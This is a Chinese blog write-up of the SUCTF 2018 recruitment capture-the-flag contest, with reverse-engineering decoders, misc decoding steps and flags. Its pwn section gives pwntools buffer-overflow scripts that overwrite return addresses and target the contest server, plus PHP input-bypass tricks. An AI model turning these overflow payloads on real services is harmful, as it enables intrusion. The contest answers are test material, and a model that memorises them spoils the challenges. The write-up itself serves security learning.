suctf招新赛2018-wp

感觉挺有意思的

Rev

basic re (814)

用 IDA 很容易扣出其中的逻辑,直接爆破就好啦。

逻辑的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#include <iostream>
using namespace std;
char array_table[180];
char flag_str[30];
int flag_single_data=0;
int single_array_data;
void payload_init(){
array_table[0] = 2;
array_table[1] = 3;
array_table[2] = 2;
array_table[3] = 1;
array_table[4] = 4;
array_table[5] = 7;
array_table[6] = 4;
array_table[7] = 5;
array_table[8] = 10;
array_table[9] = 11;
array_table[10] = 10;
array_table[11] = 9;
array_table[12] = 14;
array_table[13] = 15;
array_table[14] = 12;
array_table[15] = 13;
array_table[16] = 16;
array_table[17] = 19;
array_table[18] = 16;
array_table[19] = 17;
array_table[20] = 20;
array_table[21] = 23;
array_table[22] = 22;
array_table[23] = 19;
array_table[24] = 28;
array_table[25] = 25;
array_table[26] = 30;
array_table[27] = 31;
array_table[28] = 28;
array_table[29] = 25;
array_table[30] = 26;
array_table[31] = 31;
array_table[32] = 36;
array_table[33] = 33;
array_table[34] = 34;
array_table[35] = 39;
array_table[36] = 36;
array_table[37] = 33;
array_table[38] = 34;
array_table[39] = 35;
array_table[40] = 40;
array_table[41] = 41;
array_table[42] = 46;
array_table[43] = 43;
array_table[44] = 36;
array_table[45] = 45;
array_table[46] = 38;
array_table[47] = 47;
array_table[48] = 56;
array_table[49] = 49;
array_table[50] = 58;
array_table[51] = 59;
array_table[52] = 52;
array_table[53] = 61;
array_table[54] = 62;
array_table[55] = 55;
array_table[56] = 48;
array_table[57] = 57;
array_table[58] = 50;
array_table[59] = 59;
array_table[60] = 60;
array_table[61] = 53;
array_table[62] = 54;
array_table[63] = 55;
array_table[64] = 72;
array_table[65] = 73;
array_table[66] = 66;
array_table[67] = 66;
array_table[68] = 68;
array_table[69] = 68;
array_table[70] = 70;
array_table[71] = 71;
array_table[72] = 72;
array_table[73] = 73;
array_table[74] = 74;
array_table[75] = 74;
array_table[76] = 77;
array_table[77] = 77;
array_table[78] = 79;
array_table[79] = 78;
array_table[80] = 80;
array_table[81] = 80;
array_table[82] = 82;
array_table[83] = 83;
array_table[84] = 85;
array_table[85] = 84;
array_table[86] = 86;
array_table[87] = 87;
array_table[88] = 89;
array_table[89] = 89;
array_table[90] = 90;
array_table[91] = 91;
array_table[92] = 92;
array_table[93] = 93;
array_table[94] = 94;
array_table[95] = 94;
array_table[96] = 96;
array_table[97] = 96;
array_table[98] = 99;
array_table[99] = 99;
array_table[100] = 100;
array_table[101] = 101;
array_table[102] = 103;
array_table[103] = 103;
array_table[104] = 105;
array_table[105] = 105;
array_table[106] = 107;
array_table[107] = 107;
array_table[108] = 108;
array_table[109] = 109;
array_table[110] = 110;
array_table[111] = 110;
array_table[112] = 112;
array_table[113] = 112;
array_table[114] = 114;
array_table[115] = 115;
array_table[116] = 116;
array_table[117] = 117;
array_table[118] = 119;
array_table[119] = 119;
array_table[120] = 120;
array_table[121] = 121;
array_table[122] = 123;
array_table[123] = 123;
array_table[124] = 125;
array_table[125] = 125;
array_table[126] = 127;
array_table[127] = 127;
array_table[128] = -127;
array_table[129] = -127;
array_table[130] = -125;
array_table[131] = -125;
array_table[132] = -116;
array_table[133] = -115;
array_table[134] = -114;
array_table[135] = -113;
array_table[136] = -120;
array_table[137] = -119;
array_table[138] = -118;
array_table[139] = -117;
array_table[140] = -116;
array_table[141] = -115;
array_table[142] = -114;
array_table[143] = -121;
array_table[144] = -104;
array_table[145] = -111;
array_table[146] = -110;
array_table[147] = -109;
array_table[148] = -108;
array_table[149] = -107;
array_table[150] = -106;
array_table[151] = -105;
array_table[152] = -104;
array_table[153] = -103;
array_table[154] = -102;
array_table[155] = -102;
array_table[156] = 0x9Cu;
array_table[157] = -100;
array_table[158] = -98;
array_table[159] = -98;
array_table[160] = -96;
array_table[161] = -96;
array_table[162] = -94;
array_table[163] = -94;
array_table[164] = -92;
array_table[165] = -92;
array_table[166] = -90;
array_table[167] = -90;
array_table[168] = -88;
array_table[169] = -88;
array_table[170] = -86;
array_table[171] = -86;
array_table[172] = -84;
array_table[173] = -84;
array_table[174] = -82;
array_table[175] = -82;
array_table[176] = -80;
array_table[177] = -79;
array_table[178] = -78;
array_table[179] = -77;
}

int main()
{
payload_init();
int count = 8;
int input_num=12345;
input_num%=0x10000u;
while(count){
--count;
for(int j=22;j;flag_str[j]|=flag_single_data<<count){
single_array_data=array_table[22*count+--j];
flag_single_data=(single_array_data>>((input_num>>2*count)&3))&1;
}
}
cout<<flag_str<<endl;
}

可能运气还算不错,随便试了一个数就把 flag 爆出来了。

1
SUCTF{Flag_8i7244980f}

re register (979)

这道题也很基础,直接扣逻辑就行了。

1
2
3
4
5
6
7
8
stringl = 'RTBSEzEk`f^0bpdxndbm`pq628v|'

flag = ''

for i in range(len(stringl)):
flag+=chr(ord(stringl[i])+1)

print(flag)
1
SUCTF{Flag_1cqeyoecnaqr739w}

hash (991)

看到了这里:

1
2
3
4
v11 = 0x67452301;
v12 = 0xEFCDAB89;
v13 = 0x98BADCFE;
v14 = 0x10325476;

大概能判断是 MD5。但是下面的字符串不能直接求解,发现前面还做了一个处理:

1
2
3
4
5
6
7
do
{
if ( !(v6 & 1) )
v23[v6] ^= 1u;
++v6;
}
while ( v6 < 32 );

这个就用相同逻辑处理一下就好了:

1
2
3
4
5
6
7
8
9
10
11
st_hash = 'bf772f6ed89838b9gb9f7abf3cc09413'
v6 = 0
st_md5 = ''
for i in range(32):
if not(i&1):
st_md5+=chr(ord(st_hash[i])^1)
continue
st_md5+=st_hash[i]

print(st_md5)
# cf673f7ee88828c9fb8f6acf2cb08403

丢到 cmd5 上发现是 birthday

然后发现后面还有一段比较的逻辑:

1
2
3
4
5
6
7
8
v1 = this;
v2 = strlen(this);
for ( i = 0; i < v2; *v4 += v5 + 1 )
{
v4 = &v1[i];
v5 = 2 * i++;
}
v6 = strcmp(v1, "`ut9t;");

进行相应的逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
str2 = '`ut9t;'
# str1 = ''
# def encode(sstrr):
# for i in range(6):
# v5 = 2*i
# str1+=chr(ord(sstrr[i])+v5+1)

def decode(ssttrr):
ret_str=''
for i in range(len(ssttrr)):
v5 = 2*i
ret_str+=chr(ord(ssttrr[i])-v5-1)
return ret_str

print(decode(str2))
# _ro2k0

得到 flag。

1
SUCTF{birthday_ro2k0}

game (999)

这道题我们首先能意识到给的第一个字符串是 MD5,求解发现是 nuaa

这里要我们输入数字,而且要注意数字的存储方式。我们输入 1633777006 。这样第一关就过了。

第二关有什么操作呢?先进函数看看有UDRL,感觉是对迷宫进行操作。然后还有一个函数是从输入中每次取一byte然后从一个数组中选中方向。一共是28位。

第二关输入之前内存中有一个处理,利用之前的输入对迷宫初始化:

1
2
3
4
5
6
7
8
9
v2 = _mm_shuffle_epi32(_mm_cvtsi32_si128(v1), 0);
v3 = (const __m128i *)&byte_404040;
do
{
v4 = _mm_loadu_si128(v3);
++v3;
_mm_storeu_si128((__m128i *)&v3[-1], _mm_xor_si128(v4, v2));
}
while ( (signed int)v3 < (signed int)aDurl );

到网上查了一下 mmx 系列函数的作用,就可以写出对应的解密函数了:

额,在那之前,我先将地图脱了出来进行了初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mazemap = [0x45, 0x5E, 0x4A, 0x4A, 0x2B, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x41, 0x41,
0x4E, 0x55, 0x41, 0x41, 0x4E, 0x55, 0x41, 0x41, 0x4E, 0x5E, 0x4A, 0x41, 0x45, 0x5E, 0x4A, 0x4A,
0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x55, 0x4A, 0x4A, 0x4E, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x4A, 0x4A,
0x45, 0x5E, 0x41, 0x4A, 0x45, 0x5E, 0x41, 0x41, 0x4E, 0x55, 0x41, 0x41, 0x4E, 0x55, 0x41, 0x41,
0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x4A, 0x4A, 0x4E, 0x5E, 0x4A, 0x41,
0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x55, 0x4A, 0x4A, 0x4E, 0x5E, 0x4A, 0x4A,
0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x41, 0x4A, 0x45, 0x55, 0x4A, 0x4A, 0x45, 0x5E, 0x4A, 0x4A,
0x45, 0x5E, 0x4A, 0x41, 0x45, 0x5E, 0x41, 0x4A, 0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x4A, 0x4A,
0x4E, 0x5E, 0x4A, 0x41, 0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x55, 0x4A, 0x4A,
0x01, 0x55, 0x41, 0x41, 0x4E, 0x55, 0x41, 0x41, 0x4E, 0x55, 0x41, 0x4A, 0x45, 0x5E, 0x4A, 0x4A,
0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x5E, 0x4A, 0x4A, 0x45, 0x75, 0x61, 0x61, 0x2A, 0x20, 0x33, 0x2D,
0x3B, 0xFE, 0x8D, 0xE2, 0x82, 0x2D, 0x32, 0x37, 0x39, 0xB3, 0x24, 0x8D, 0x2A, 0xB3, 0x24, 0x8C,
0x1D, 0xB3, 0x24, 0x8F, 0x5D, 0xB3, 0x24, 0x8E, 0x1B, 0xB3, 0x24, 0x91, 0x59, 0xB3, 0x24, 0x90]
# nuaa = [0x61, 0x61, 0x75, 0x6e]
nuaa = [0x6e, 0x75, 0x61, 0x61]
for i in range(len(mazemap)):
mazemap[i] = (mazemap[i]) ^ nuaa[i % 4]
output = ''
for i in range(len(mazemap)):
# output += (str(hex(mazemap[i]))+' ')
output += (chr(mazemap[i]))
if i % 13 == 0:
print(output)
output = ''

结果得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
+++E+++++++++
++
+++++++++ ++
+++++++++ ++
+ ++
++++++++++ ++
+++++++++ ++
+++++++++ ++
+++++++++ ++
+++++++++ ++
+++++++++ ++
o ++
++++++++++++

这个其实和初始的有点区别。。很明显脱得不算对,我猜测o是初始位置E是结束位置。这样就可以写出序列了:

1
RRRR RRRR RRUU UUUU UUUU LLLL LLLU

相关的输入为:

1
170 170 165 85 85 255 253

这样第二关也过了。

然后第三关可以发现他是解密了一个函数然后调用。

1
2
3
4
5
6
7
8
9
10
11
12
qmemcpy(v1, &byte_404117[1], 0320u); 位置
puts("Wow...This is flag!");
puts("Hey, I need check the flag is fake or not....");
puts("try input flag:");
LOBYTE(v3) = 0;
*(_QWORD *)((char *)&v3 + 1) = 0i64;
v4 = 0i64;
v5 = 0i64;
v6 = 0i64;
scanf_s("%s", &v3, 19);
if ( ((int (__cdecl *)(int *))v1)(&v3) )
result = puts("Congratulation!");

我太菜了以至于只能用IDA的动态调试。

步入之后发现会有个这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
debug055:011C05C1 mov     byte ptr [ebp-14h], 'D'
debug055:011C05C5 mov byte ptr [ebp-13h], 's'
debug055:011C05C9 mov byte ptr [ebp-12h], '3'
debug055:011C05CD mov byte ptr [ebp-11h], 'u'
debug055:011C05D1 mov byte ptr [ebp-10h], '7'
debug055:011C05D5 mov byte ptr [ebp-0Fh], 'w'
debug055:011C05D9 mov byte ptr [ebp-0Eh], 'Y'
debug055:011C05DD mov byte ptr [ebp-0Dh], 'N'
debug055:011C05E1 mov byte ptr [ebp-0Ch], '{'
debug055:011C05E5 mov byte ptr [ebp-0Bh], 'V'
debug055:011C05E9 mov byte ptr [ebp-0Ah], 'y'
debug055:011C05ED mov byte ptr [ebp-9], ';'
debug055:011C05F1 mov byte ptr [ebp-8], 'S'
debug055:011C05F5 mov byte ptr [ebp-7], '`'
debug055:011C05F9 mov byte ptr [ebp-6], '='
debug055:011C05FD mov byte ptr [ebp-5], '|'
debug055:011C0601 mov byte ptr [ebp-4], 'c'
debug055:011C0605 mov byte ptr [ebp-3], 'h'
debug055:011C0609 mov dword ptr [ebp-18h], 0
debug055:011C0610 mov dword ptr [ebp-18h], 0

在这里其实是可以 create_function 的,会得到这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
v5 = 'D';
v6 = 's';
v7 = '3';
v8 = 'u';
v9 = '7';
v10 = 'w';
v11 = 'Y';
v12 = 'N';
v13 = '{';
v14 = 'V';
v15 = 'y';
v16 = ';';
v17 = 'S';
v18 = '`';
v19 = '=';
v20 = '|';
v21 = 'c';
v22 = 'h';
for ( i = 0; i < 18; ++i )
a2[i] ^= i;
for ( j = 0; j < 18; ++j )
{
if ( *(&v5 + j) != a2[j] )
return 0;
}
return 1;

这就很清楚了。于是我们可以开始着手写decode函数了:

1
2
3
4
5
6
7
arr = 'Ds3u7wYN{Vy;S`=|ch'
oou = ''
for i in range(len(arr)):
oou += chr(ord(arr[i])^i)

print(oou)
# Dr1v3r_Is_s0_m3ssy

于是得到 flag

1
flag{Dr1v3r_Is_s0_m3ssy}

pwn

stack (487)

简单的栈

payload:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

next_door_addr = 0x400676

# p = process('./pwn')
p = remote('43.254.3.203',10003)

payload = 'a'*(0x20+8)+p64(next_door_addr)

p.sendline(payload)
p.interactive()

basic pwn (559)

同上

1
2
3
4
5
6
7
8
from pwn import *
# p = process('./basic_pwn')
p = remote('43.254.3.203',10004)
context.log_level="debug"
call_this_function_addr = 0x401157
payload = 'a'*(0x110+8)+p64(call_this_function_addr)
p.sendline(payload)
p.interactive()

babyarray (774)

这道题甚至不需要任何工具。。

easy_overflow_file_structure (979)

先给出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# p = process('./eofs')
p = remote('43.254.3.203', 10002)
secret_addr = 0x400F04
context.log_level = 'debug'


host_addr = 0x0602220
payload = 'GET / HTTP/1.1# '
payload += 'Host:'+p64(0xdeadbeef)+'a'*118+'#'
payload += 'Username:'+'b'*126+'#'
payload += 'ResearchField:' + 'c'*126 + '#'
payload += 'ResearchField:dd' + p64(host_addr)+ '#'


# payload += p64(secret_addr)
p.sendline(payload)
p.interactive()
# print(p32(0xdeadbeef))

p.close()

web

where are you from level1 (100)

include me (100)

貌似是个include函数的bug

yunpan (100)

onepiece (614)

Easy_upload (627)

嗯他们上传完了之后我访问了他们的文件拿到了flag(

php is No.1 (744)

首先构造 num=[] 绕过第一处,然后构造time=2.6e6 绕过第二处得到flag

1
SUCTF{pHp_1s_The_be5t}

misc

single dog (100)

用 binwalk 能看到里面还有个 zip。我用 foremost 把它切了出来。

里面的text是aaencode,到网上找个网站解码。

1
2
3
4
5
6
function a()
{
var a="SUCTF{happy double eleven}";
alert("双十一快乐");
}
a();

佛家妙语 (700)

里面的佛语到网上解码是:

1
我是base中的大哥:5LqM5byf77yaNFM0SVRaTjRUN1RKM0pQRlNXVE83UEUySVUzRFFSUlpHQkNUT1FKVUlKQVRHUUpXR0kzRFNOWlVHWVpUTVJSV0lWQ1RTT0JYSEJDRUtOS0NJVTRUT05SU0dZWVRPTVpXR1VaVUNNWlRHVkFUR01KVEdRMlRBTlJaR1JDRE9OSlVHUVpUQ05SVkdVWVRNTUpXSVFaVE1OU0VHNFlUTVFKVkdVMkVHTVpVR1FZVEdOWldHUVpURU5CVkdRWkRPTlJWR1UzRENNWllHWTRET05SVUdVM0VFTVpV

然后base64解码得到:

1
二弟:4S4ITZN4T7TJ3JPFSWTO7PE2IU3DQRRZGBCTOQJUIJATGQJWGI3DSNZUGYZTMRRWIVCTSOBXHBCEKNKCIU4TONRSGYYTOMZWGUZUCMZTGVATGMJTGQ2TANRZGRCDONJUGQZTCNRVGUYTMMJWIQZTMNSEG4YTMQJVGU2EGMZUGQYTGNZWGQZTENBVGQZDONRVGU3DCMZYGY4DONRUGU3EEMZU

然后就可以在本机内base32

1
print(str(base64.b32decode(sss), encoding="utf-8"))

得到:

1
三弟来啦:E68F90E7A4BA3A626974636F6EE9878DE5BE97626173653A335A313450694D7544316551616D366D716A554C34413764324542765561386876456B34

继续base16:

1
2
3
print(str(base64.b16decode(ss2),encoding='utf-8'))

# 提示:bitcon重得base:3Z14PiMuD1eQam6mqjUL4A7d2EBvUa8hvEk4

是 bitcoin 吧。。到网上搜索到 base58,拖到某个网站上解密:

1
SUCTF{d0_y0u_kn0w_base58?}

follow me (711)

这道题犯了和17年NUAA校赛中某道题一样的错误:

1
2
➜  follow_me git:(master) ✗ strings followme.pcapng | grep SUCTF
name=admin&password=SUCTF{password_is_not_weak}&referer=http%3A%2F%2F192.168.128.145%2Fbuild%2Fadmin%2F

stature (814)

010修改高度

1
SUCTF{wo_cai_bu_ai}

hidden (925)

用 binwalk 看一下发现里面有点东西。foremost解之。

里面有个 docx,改名为zip然后打开之,flag的后面可以得到:

1
2


人类的本质 (936)

dead_z3r0 (951)

流量 (993)

文章作者: 40m41h42t
文章链接: http://qrzbing.cn/2018/11/15/2018-suctf-招新赛writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 每天进步一点点